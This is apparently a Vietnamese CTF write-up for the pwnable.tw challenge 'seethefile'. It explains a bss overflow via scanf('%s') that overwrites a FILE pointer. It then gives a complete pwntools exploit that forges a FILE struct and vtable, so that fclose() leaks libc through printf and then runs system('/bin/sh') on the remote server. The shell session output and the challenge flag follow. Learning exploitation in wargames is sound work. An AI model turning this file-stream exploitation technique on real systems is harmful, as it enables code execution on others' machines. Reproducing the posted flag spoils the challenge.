pwnable.tw

seethefile

Vulnerability: Hàm scanf() với format %s gây buffer overflow trên vùng bss dẫn đến ghi đè file pointer.

February 8, 2026 February 8, 2026 Easy
Author Author Hung Nguyen Tuong

Recon

Mitigation

$ pwn checksec seethefile
[*] '/home/hungnt/ctfs/pwnable.tw/seethefile/seethefile'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$ file seethefile
seethefile: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=04e6f2f8c85fca448d351ef752ff295581c2650d, not stripped

GLIBC Version

pwndbg> libc
libc version: 2.23
libc source link: https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz

Code

main()

void main(void)

{
    int choice;
    int in_GS_OFFSET;
    char buf [32];
    undefined4 local_14;
    undefined1 *puStack_c;
    EVP_PKEY_CTX *ctx;
    
    puStack_c = &stack0x00000004;
    local_14 = *(undefined4 *)(in_GS_OFFSET + 0x14);
    init(ctx);
    welcome();
    do
    {
        menu();
        __isoc99_scanf(&_s,buf);
        choice = atoi(buf);
        switch(choice)
        {
        default:
            puts("Invaild choice");
                    // WARNING: Subroutine does not return
            exit(0);
        case 1:
            openfile();
            break;
        case 2:
            readfile();
            break;
        case 3:
            writefile();
            break;
        case 4:
            closefile();
            break;
        case 5:
            printf("Leave your name :");
            __isoc99_scanf(&_s,name);
            printf("Thank you %s ,see you next time\n",name);
            if (fp != NULL)
            {
                fclose(fp);
            }
                    // WARNING: Subroutine does not return
            exit(0);
        }
    } while( true );
}

Solve

case 5:
	printf("Leave your name :");
	__isoc99_scanf(&_s,name);
	printf("Thank you %s ,see you next time\n",name);
	if (fp != NULL)
	{
		fclose(fp);
	}
			// WARNING: Subroutine does not return
	exit(0);
}

Vì format string khi nhập name là %s, có thể nhập thoải mái, nên overflow và ghi đè lên con trỏ fp. Vậy nên ý tưởng của mình là fake con trỏ fp rồi lợi dụng fclose() để AAR leak libc rồi kiểm soát luôn RIP.

Sau một hồi perplexity, mình biết rằng bên trong fclose() sẽ gọi đến _IO_SYSCLOSE() là hàm close() nằm tại offset 0x44 của vtable nếu như có 0x2000 trong flags. Tiếp đến là finish() tại offset 0x8 luôn được gọi ko phụ thuộc vào flags.

Đầu tiên mình ghi đè close() với printf(), thêm format string vào ngay sau flags -> leak đc libc trên stack, ghi đè finish() nhảy ngược về main() để ko bị exit() sau khi fclose().

Lần sau, ghi đè close() với system(), ghi /bin/sh vào flags. Vậy là xong.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("seethefile_patched", checksec=False)
libc = ELF("libc_32.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *0x08048b0f
b *_IO_file_close_it+271
b *fclose+229
b *0x2a932d1f
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10200
        return remote(host, port)

p = conn()

def open_file(filename):
    slan(p, b'choice', 1)
    sla(p, b'see', filename)

def read_file():
    slan(p, b'choice', 2)

def write_file():
    slan(p, b'choice', 3)

def close_file():
    slan(p, b'choice', 4)

def leave(name):
    slan(p, b'choice', 5)
    sla(p, b'name', name)

maps = b'/proc/self/maps'
open_file(maps)

print("leak libc")

name = 0x804b260
fake_vtable = name + 0x100
fake_fp = flat({
    0x0: 0xfbad2801, # flags
    0x4: b'libc=%3$p',
    0x20: name, # fp
    0x34: 0, # _chain
    0x38: 1, # _fileno
    0x48: 0x804b064, # _lock
    0x94: fake_vtable, # vtable
    
    0x100: 0,
    0x100 + 0x8: exe.symbols['main'],
    0x100 + 0x44: exe.plt['printf']
}, filler=b'\0')

sleep(0.25)

leave(fake_fp)

ru(p, b'next time')
ru(p, b'libc=')
libc.address = leak_hex(rn(p, 10), 0x1b0000)
lg("libc base", libc.address)
lg("system", libc.symbols['system'])

print("spawn shell")

fake_fp = flat({
    0x0: b'/bin/sh\0',
    0x20: name, # fp
    0x34: 0, # _chain
    0x38: 1, # _fileno
    0x48: 0x804b064, # _lock
    0x94: fake_vtable, # vtable
    
    0x100: 0,
    0x100 + 0x44: libc.symbols['system'],
}, filler=b'\0')

sleep(0.25)

leave(fake_fp)

rr(p, 1)
ia(p)
$ py solve.py 
[+] Opening connection to chall.pwnable.tw on port 10200: Done
leak libc
libc base -> 0xf75ad000
system -> 0xf75e7940
spawn shell
[*] Switching to interactive mode
$ cd home
$ ls -la
total 16
drwxr-xr-x 1 root       root       4096 Nov 21  2019 .
drwxr-xr-x 1 root       root       4096 Nov 21  2019 ..
drwxr-xr-x 2 flag       flag       4096 Nov 21  2019 flag
drwxr-xr-x 2 seethefile seethefile 4096 Jan 13  2017 seethefile
$ ls -la flag
total 20
drwxr-xr-x 2 flag flag 4096 Nov 21  2019 .
drwxr-xr-x 1 root root 4096 Nov 21  2019 ..
-rw-r--r-- 1 flag flag  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 flag flag 3771 Aug 31  2015 .bashrc
-rw-r--r-- 1 flag flag  655 Jun 24  2016 .profile
$ cd seethefile
$ ls -la
total 44
drwxr-xr-x 2 seethefile seethefile  4096 Jan 13  2017 .
drwxr-xr-x 1 root       root        4096 Nov 21  2019 ..
-r-------- 1 flag       flag          29 Jan 13  2017 flag
-r-sr-xr-x 1 flag       flag        9184 Jan 13  2017 get_flag
-rw-rw-r-- 1 seethefile seethefile   624 Jan 13  2017 get_flag.c
-rwxr--r-- 1 seethefile seethefile    70 Jan 13  2017 run.sh
-rwxrwxr-x 1 seethefile seethefile 12248 Jan 13  2017 seethefile
$ cat flag
$ cat get_flag.c
#include <unistd.h>
#include <stdio.h>

int read_input(char *buf,unsigned int size){
    int ret ;
    ret = read(0,buf,size);
    if(ret <= 0){
        puts("read error");
        exit(1);
    }
    if(buf[ret-1] == '\n')
        buf[ret-1] = '\x00';
    return ret ;
}

int main(){
    char buf[100];
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    printf("Your magic :");
    read_input(buf,40);
    if(strcmp(buf,"Give me the flag")){
        puts("GG !");
        return 1;
    }
    FILE *fp = fopen("/home/seethefile/flag","r");
    if(!fp){
        puts("Open failed !");
    }
    fread(buf,1,40,fp);
    printf("Here is your flag: %s \n",buf);
    fclose(fp);
}
$ ./get_flag
Your magic :$ Give me the flag
Here is your flag: FLAG{F1l3_Str34m_is_4w3s0m3}